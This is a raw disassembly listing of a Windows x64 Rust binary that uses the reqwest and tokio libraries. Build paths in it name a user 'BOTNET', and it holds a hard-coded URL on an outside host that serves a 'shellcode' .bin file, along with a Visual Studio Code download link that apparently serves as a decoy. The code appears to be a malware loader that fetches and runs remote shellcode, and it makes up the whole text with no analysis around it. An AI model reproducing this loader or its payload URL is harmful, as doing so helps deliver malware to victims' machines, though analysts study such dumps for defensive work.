lea r12, [r14 + 8]
lea rcx, [r14 + 0x28]
mov qword [rbp + 0x3b8], rcx
lea rcx, [r14 + 0x118]
mov qword [rbp + 0x3d0], rcx
xorps xmm6, xmm6
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
je 0x14004ca30
cmp qword [rbp + 0x3f0], 0
jne 0x14004d080
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x14004bfa0
call fcn.14004d9d0
mov rax, qword [rbp + 0x3f0]
inc rax
jmp 0x14004bfa2
xor eax, eax
mov qword [rbp + 0x3f8], rbx
mov qword [rbp + 0x3f0], rax
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x120]
cmp r13d, 2
je 0x14004c0c0
cmp r13d, 1
lea rbx, [rbp + 0x1e8]
je 0x14004c016
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x14004a980]
call fcn.1400e5cb0
mov byte [rsi + 0x120], 1
lea rsi, [0x14014eae0]
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
movzx ecx, byte [rax + 0x11d]
mov byte [rbp + 0x3b0], cl
mov word [rax + 0x11c], 0x8001
movzx eax, byte [r14 + 0x148]
test eax, eax
je 0x14004c0d3
cmp eax, 3
jne 0x14004cfa7
mov rax, qword [rbp + 0x3d8]
movzx eax, byte [rax]
test eax, eax
je 0x14004c6c1
cmp eax, 3
jne 0x14004d04e
nop dword [rax + rax]
cmp dword [r12], 2
jne 0x14004c763
mov rax, qword [r14 + 0x10]
mov qword [r14 + 0x10], 0
test rax, rax
je 0x14004cf77
mov qword [rbp + 0x50], 3
mov qword [rbp + 0x58], rax
jmp 0x14004c250
lea rbx, [rbp + 0x1e8]
movzx eax, byte [r14 + 0x148]
test eax, eax
jne 0x14004c057
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400ef780
mov qword [rbp + 0x1e8], 0
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x1e8]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x14004d186
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 0
mov qword [rbp - 0x48], r15
lea rax, [0x14000c020]
mov qword [rbp - 0x40], rax
lea rax, str.Time:
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 2
mov qword [rbp + 0x208], 0
lea rax, [rbp - 0x48]
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x200], 1
mov rcx, rbx
call fcn.1400ef780
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400ef780
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400ef780
mov ecx, 5
call fcn.1400e6ba0
jmp 0x14004c6b0
mov r8d, 0x98
lea rcx, [rbp - 0x48]
mov rdx, r15
call fcn.140118560
cmp dword [r12], 2
jne 0x14004c2e0
mov rbx, qword [r14 + 0x10]
test rbx, rbx
je 0x14004c572
mov r15, qword [rbx + 0x58]
test r15, r15
je 0x14004c2b4
mov rdi, qword [rbx + 0x60]
mov rax, qword [rdi]
test rax, rax
je 0x14004c290
mov rcx, r15
call rax
cmp qword [rdi + 8], 0
je 0x14004c2b4
cmp qword [rdi + 0x10], 0x11
jb 0x14004c2a2
mov r15, qword [r15 - 8]
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x14004c520
lea r15, [rbp + 0x50]
jmp 0x14004c560
cmp byte [r14 + 0x100], 0xa
jb 0x14004c30a
cmp qword [r14 + 0x110], 0
je 0x14004c30a
mov r8, qword [r14 + 0x108]
mov rcx, qword [0x140196260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [r14 + 0x90], 0
je 0x14004c32a
mov r8, qword [r14 + 0x98]
mov rcx, qword [0x140196260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [r14 + 0x80], 0
je 0x14004c347
mov r8, qword [r14 + 0x78]
mov rcx, qword [0x140196260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [r14 + 0x58]
test rdi, rdi
je 0x14004c3a0
mov rbx, qword [r14 + 0x50]
add rbx, 0x30
jmp 0x14004c37b
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x68
dec rdi
je 0x14004c3a0
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x14004c360
lea rcx, [rbx + 0x28]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
call qword [rax + 0x10]
jmp 0x14004c360
cmp qword [r14 + 0x48], 0
je 0x14004c3ba
mov r8, qword [r14 + 0x50]
mov rcx, qword [0x140196260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [r14 + 0x70]
test rdi, rdi
je 0x14004c3eb
mov rbx, qword [r14 + 0x68]
add rbx, 0x38
nop dword [rax + rax]
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x48
dec rdi
jne 0x14004c3d0
cmp qword [r14 + 0x60], 0
je 0x14004c405
mov r8, qword [r14 + 0x68]
mov rcx, qword [0x140196260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [r12], 0
je 0x14004c427
mov rax, qword [r14 + 0x10]
test rax, rax
je 0x14004c427
mov rdx, qword [r14 + 0x18]
mov r8, qword [r14 + 0x20]
mov rcx, qword [rbp + 0x3b8]
call qword [rax + 0x10]
mov rdi, qword [r14 + 0xf8]
test rdi, rdi
je 0x14004c470
mov rbx, qword [r14 + 0xf0]
add rbx, 8
jmp 0x14004c449
add rbx, 0x58
dec rdi
je 0x14004c470
cmp qword [rbx - 8], 0
je 0x14004c440
mov r8, qword [rbx]
mov rcx, qword [0x140196260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004c440
cmp qword [r14 + 0xe8], 0
je 0x14004c490
mov r8, qword [r14 + 0xf0]
mov rcx, qword [0x140196260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x3d0]
mov rax, qword [rax]
lock dec qword [rax]
jne 0x14004c4ac
mov rcx, qword [rbp + 0x3d0]
call fcn.140040010
mov rbx, qword [r14 + 0x120]
mov rdi, qword [r14 + 0x128]
mov rax, qword [rdi]
test rax, rax
je 0x14004c4c7
mov rcx, rbx
call rax
cmp qword [rdi + 8], 0
je 0x14004c4eb
cmp qword [rdi + 0x10], 0x11
jb 0x14004c4d9
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [r14 + 0x138]
test rbx, rbx
je 0x14004c572
mov rcx, rbx
call fcn.1400ff4b0
lea rcx, [rbx + 8]
cmp qword [rbx], 0
je 0x14004c540
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14004c550
call fcn.14003fb60
jmp 0x14004c550
test rax, rax
lea r15, [rbp + 0x50]
je 0x14004c560
mov r8, qword [rbx + 8]
mov rcx, qword [0x140196260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004c560
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14004c550
call fcn.14003e480
nop
mov rax, qword [rbx + 0x48]
test rax, rax
je 0x14004c560
mov rcx, qword [rbx + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rbp - 0x48], 3
jne 0x14004c5c0
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
mov rcx, r15
call fcn.1400ef780
mov ecx, 3
call fcn.1400e6ba0
lea rcx, [rbp - 0x48]
call fcn.140048de0
mov rdx, qword [r14]
lea rbx, [rbp + 0x1e8]
jmp 0x14004c6dd
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
mov rcx, r15
call fcn.1400ef780
lea rcx, [rbp - 0x48]
call fcn.140048de0
mov rax, qword [r14]
lock dec qword [rax]
lea rdi, [rbp + 0x1e8]
jne 0x14004c601
mov rcx, r14
call fcn.140040010
mov rax, qword [rbp + 0x3d8]
mov byte [rax], 1
lea rbx, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_shellcodeAny_20240715102708757.bin
mov rcx, rbx
lea rdx, [0x14014eb7b]
call fcn.14004dbc0
mov r8d, 0xb
mov rcx, rdi
mov rdx, rbx
call fcn.1400ea600
mov rdi, qword [rbp + 0x1e8]
movabs rax, 0x8000000000000000
cmp rdi, rax
je 0x14004c6b0
mov rbx, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x1f8]
cmp byte [rbp + 0x200], 0
je 0x14004c990
lea rcx, [rbp - 0x48]
mov rdx, rbx
call fcn.1400036c0
movabs rax, 0x8000000000000000
cmp qword [rbp - 0x48], rax
jne 0x14004c870
mov ecx, 5
call fcn.1400e6ba0
test rdi, rdi
je 0x14004c6b0
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
nop word cs:[rax + rax]
mov rax, qword [rbp + 0x3d8]
mov byte [rax], 0
lea rbx, [rbp + 0x1e8]
mov rcx, rbx
call fcn.1400c1060
mov rcx, rbx
call fcn.1400bbec0
test rax, rax
jne 0x14004cf1a
mov qword [r14], rdx
mov rcx, r15
lea r8, str.https:__code.visualstudio.com_download
call fcn.14004e320
cmp dword [rbp + 0x50], 2
jne 0x14004c720
mov qword [rbp + 0x1e8], 2
mov rax, qword [rbp + 0x58]
mov rdi, qword [rbp + 0x160]
mov qword [rbp + 0x1f0], rax
lock dec qword [rdi]
je 0x14004c73b
jmp 0x14004c747
mov rdi, qword [rbp + 0x160]
mov rcx, rbx
mov rdx, rdi
mov r8, r15
call fcn.1400be360
lock dec qword [rdi]
jne 0x14004c747
lea rcx, [rbp + 0x160]
call fcn.1400822a0
mov r8d, 0x138
mov rcx, r12
mov rdx, rbx
call fcn.140118560
cmp dword [r12], 2
je 0x14004c08b
mov rcx, r15
mov rdx, r12
lea r8, [rbp + 0x1c0]
call fcn.1400c1470
cmp qword [rbp + 0x50], 4
jne 0x14004c250
mov rax, qword [rbp + 0x3d8]
mov byte [rax], 3
mov r15b, 3
mov dil, 1
mov byte [r14 + 0x148], r15b
cmp r13b, 2
lea r15, [rbp + 0x50]
je 0x14004c820
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x14004c820
cmp eax, 1
je 0x14004c7f9
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400ffb50]
call fcn.1400e5cb0
mov byte [rsi + 0x120], 1
lea rsi, [0x14014eae0]
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r13b
movzx ecx, byte [rbp + 0x3b0]
mov byte [rax + 0x11d], cl
cmp qword [rbp + 0x3f0], 0
jne 0x14004d05c
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rbx, qword [rbp + 0x3f8]
mov qword [rbp + 0x3f8], 0
test rbx, rbx
je 0x14004d068
mov qword [rbp + 0x3f0], 0
test dil, dil
jne 0x14004ca30
jmp 0x14004cd0b
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x60], rax
movups xmm0, xmmword [rbp - 0x48]
movaps xmmword [rbp + 0x50], xmm0
call fcn.140003c30
call fcn.140001830
mov r15, rax
and eax, 3
cmp eax, 1
jne 0x14004c8f8
mov dword [rbp + 0x3c0], r13d
mov r13, qword [r15 - 1]
mov rsi, qword [r15 + 7]
mov rax, qword [rsi]
test rax, rax
je 0x14004c8b1
mov rcx, r13
call rax
cmp qword [rsi + 8], 0
je 0x14004c8d5
cmp qword [rsi + 0x10], 0x11
jb 0x14004c8c3
mov r13, qword [r13 - 8]
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
dec r15
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
lea rsi, [0x14014eae0]
mov r13d, dword [rbp + 0x3c0]
lea rcx, [rbp + 0x1e8]
call fcn.140001c00
cmp qword [rbp + 0x1e8], 0
je 0x14004c920
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x14004c920
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400e6ba0
call fcn.140004cf0
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
lea rcx, [rbp + 0x1e8]
call fcn.1400ef780
lea rcx, [rbp + 0x50]
call fcn.140001610
mov r15b, 1
test rdi, rdi
je 0x14004ca27
mov rcx, qword [0x140196260]
xor edi, edi
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004c790
test r8, r8
je 0x14004c663
lea rax, [rbx + r8]
mov rdx, rbx
jmp 0x14004c9bc
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax]
mov rdx, rcx
cmp rcx, rax
je 0x14004c663
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14004c9b0
cmp r9b, 0xe0
jb 0x14004c9a2
cmp r9b, 0xed
jne 0x14004c9fe
cmp rcx, rax
je 0x14004c663
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14004c663
cmp byte [rdx + 1], 0x9f
ja 0x14004c68d
add rdx, 3
mov rcx, rdx
jmp 0x14004c9b0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14004c9b0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14004c9b0
xor edi, edi
jmp 0x14004c790
mov r8, qword [rbp + 0x3e8]
mov edi, dword [r8 + 0x40]
test edi, edi
je 0x14004cc38
nop word cs:[rax + rax]
cmp byte [rbx + 0x68], 0
jne 0x14004ccb1
inc dword [rbx + 0x60]
mov rdx, qword [rbp + 0x3e8]
add rdx, 0x10
mov rcx, rbx
call fcn.1400f6b90
test rax, rax
je 0x14004cc70
cmp qword [rbp + 0x3f0], 0
jne 0x14004d080
mov r15, rax
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x14004cac0
call fcn.14004d9d0
mov rax, qword [rbp + 0x3f0]
inc rax
jmp 0x14004cac2
xor eax, eax
mov qword [rbp + 0x3f8], rbx
mov qword [rbp + 0x3f0], rax
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebx, byte [rax + 0x120]
cmp ebx, 2
je 0x14004cb60
cmp ebx, 1
je 0x14004cb28
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x14004a980]
call fcn.1400e5cb0
mov byte [rsi + 0x120], 1
lea rsi, [0x14014eae0]
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebx, byte [rax + 0x11c]
movzx r13d, byte [rax + 0x11d]
mov word [rax + 0x11c], 0x8001
jmp 0x14004cb60
mov rax, qword [r15 + 0x10]
mov rcx, r15
call qword [rax]
cmp bl, 2
lea r15, [rbp + 0x50]
je 0x14004cbea
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x14004cbea
cmp eax, 1
je 0x14004cbca
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400ffb50]
call fcn.1400e5cb0
mov byte [rsi + 0x120], 1
lea rsi, [0x14014eae0]
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], bl
mov byte [rax + 0x11d], r13b
cmp qword [rbp + 0x3f0], 0
jne 0x14004d05c
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rbx, qword [rbp + 0x3f8]
mov qword [rbp + 0x3f8], 0
test rbx, rbx
je 0x14004d068
mov qword [rbp + 0x3f0], 0
dec edi
jne 0x14004ca50
mov r8, qword [rbp + 0x3e8]
add r8, 0x10
lea rcx, [rbp + 0x3e8]
mov rdx, rbx
call fcn.1400f71c0
mov rbx, rax
mov rax, qword [rbp + 0x3e8]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
jne 0x14004bf5e
jmp 0x14004ca30
movabs rax, 0x7fffffffffffffff
cmp qword [rbp + 0x400], rax
lea r15, [rbp + 0x50]
jae 0x14004d270
mov r8, qword [rbp + 0x3e8]
add r8, 0x10
cmp qword [rbp + 0x418], 0
jne 0x14004cc3c
lea rcx, [rbp + 0x3e8]
mov rdx, rbx
call fcn.1400f6c70
jmp 0x14004cc4b
cmp qword [rbp + 0x3f0], 0
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x3c8]
mov qword [rax + 0x108], rcx
jne 0x14004d264
xor r14d, r14d
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x14004cd46
call fcn.14004d9d0
mov rax, qword [rbp + 0x3f0]
inc rax
jmp 0x14004cd48
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x3c8]
mov qword [rax + 0x108], rcx
mov r14b, 1
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
jne 0x14004ccfa
xor eax, eax
mov qword [rbp + 0x3f8], rbx
mov qword [rbp + 0x3f0], rax
lea rcx, [rbp + 0x3e0]
call fcn.1400f67b0
cmp qword [rbp + 0x3e0], 0
je 0x14004ce12
mov rax, qword [rbp + 0x3e8]
lock dec qword [rax]
jne 0x14004cd89
lea rcx, [rbp + 0x3e8]
call fcn.140041080
mov rsi, qword [rbp + 0x3f8]
test rsi, rsi
je 0x14004ce3c
mov rcx, qword [rsi]
test rcx, rcx
je 0x14004cdc8
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x14004d27c
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14004cdc8
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
lea rdi, [rsi + 0x18]
mov rcx, rdi
call fcn.14004daa0
mov rax, qword [rsi + 0x18]
lock dec qword [rax]
jne 0x14004cde6
mov rcx, rdi
call fcn.140080a10
mov rax, qword [rsi + 8]
test rax, rax
je 0x14004cdfe
lock dec qword [rax]
jne 0x14004cdfe
lea rcx, [rsi + 8]
call fcn.14002e000
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004ce3c
mov rax, qword [rbp + 0x3e8]
lock dec qword [rax]
jne 0x14004ce2b
lea rcx, [rbp + 0x3e8]
call fcn.14003e480
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x14004ce3c
call fcn.14004d9d0
mov rsi, qword [rbp + 0x418]
test rsi, rsi
je 0x14004ce73
mov rdi, qword [rbp + 0x410]
add rdi, 8
nop word cs:[rax + rax]
mov rax, qword [rdi - 8]
mov rcx, qword [rdi]
call qword [rax + 0x18]
add rdi, 0x10
dec rsi
jne 0x14004ce60
cmp qword [rbp + 0x408], 0
je 0x14004ce93
mov r8, qword [rbp + 0x410]
mov rcx, qword [0x140196260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r14b, r14b
je 0x14004d223
mov ecx, dword [rbp + 0x398]
mov edx, dword [rbp + 0x39c]
call fcn.1400f6690
lea rcx, [rbp + 0x380]
call fcn.1400fc0d0
mov rax, qword [rbp + 0x380]
cmp rax, 2
je 0x14004ceff
test rax, rax
je 0x14004cee6
mov rax, qword [rbp + 0x388]
lock dec qword [rax]
jne 0x14004ceff
lea rcx, [rbp + 0x388]
call fcn.14003fb60
jmp 0x14004ceff
mov rax, qword [rbp + 0x388]
lock dec qword [rax]
jne 0x14004ceff
lea rcx, [rbp + 0x388]
call fcn.14003e480
movaps xmm6, xmmword [rbp + 0x440]
add rsp, 0x4d8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x1e8], rdx
lea rax, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Client::new__
lea r9, [0x1401551c0]
lea r8, [rbp + 0x1e8]
mov edx, 0xd
call fcn.140119760
lea rax, [0x14015f120]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14015fc58]
lea r8, [rbp + 0x430]
mov edx, 0x2b
call fcn.140119760
lea rcx, str.Pending_error_polled_more_than_once
lea r8, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov edx, 0x23
call fcn.140119880
lea rcx, [0x14015f868]
lea r8, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
mov edx, 0x73
call fcn.140119880
lea rcx, [0x14014eb58]
call fcn.140119ab0
imul eax, ecx, 0x64
mov qword [rbp + 0x1e8], rdx
mov dword [rbp + 0x1f0], eax
lea rax, [0x14014eb18]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14014e5d0]
lea r8, [rbp + 0x1e8]
mov edx, 0x2b
call fcn.140119760
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x50], rax
lea rax, [fcn.140008a30]
mov qword [rbp + 0x58], rax
lea rax, [0x14015f008]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x208], 0
mov qword [rbp + 0x1f8], r15
mov qword [rbp + 0x200], 1
lea rdx, [0x14015f018]
lea rcx, [rbp + 0x1e8]
call fcn.140119330
lea rcx, [0x14014eac8]
call fcn.140119ab0
ud2
lea rcx, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.1401196a0
lea rcx, str.core_missing
lea r8, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140119880
lea rcx, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.1401196a0
lea rax, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to__Enter::block_on_
lea r9, [0x14015fc58]
lea r8, [rbp + 0x430]
mov edx, 0x1b
call fcn.140119760
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, [0x140127110]
lea rcx, [rbp + 0x1e8]
call fcn.140119330
lea rcx, [0x140161628]
call fcn.1401196a0
lea rax, str.reached_max__enter__depth
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, [0x140161610]
lea rcx, [rbp + 0x1e8]
call fcn.140119330
lea rax, str.not_a_CurrentThread_handle
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermod.rs
lea rcx, [rbp + 0x1e8]
call fcn.140119330
imul eax, ecx, 0x64
mov qword [rbp + 0x1e8], rdx
mov dword [rbp + 0x1f0], eax
lea rax, [0x14014eb18]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14014e9c0]
lea r8, [rbp + 0x1e8]
mov edx, 0x2b
call fcn.140119760
lea rax, str.expected__CurrentThread::Context_
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rbp + 0x1e8]
call fcn.140119330
lea rcx, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.1401196a0
lea rcx, str.core_missing
lea r8, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140119880
lea rax, str.a_spawned_task_panicked_and_the_runtime_is_configured_to_shut_down_on_unhandled_panic
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rbp + 0x1e8]
call fcn.140119330
lea rcx, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.1401196a0
lea rcx, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulerdefer.rsp
call fcn.140119700
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x140161430]
mov edx, 0x27
call fcn.1401194c0
mov dword [rbp - 0x48], 0
mov byte [rbp - 0x44], 0
lea rax, str.fatal_runtime_error:_the_global_allocator_may_not_use_TLS_with_destructors_n
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
lea rax, [rbp + 0x430]
mov qword [rbp + 0x1f8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rcx, [rbp - 0x48]
lea rdx, [rbp + 0x1e8]
call fcn.1400e4720
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x50]
call fcn.1400e47e0
mov ecx, 7
int 0x29
ud2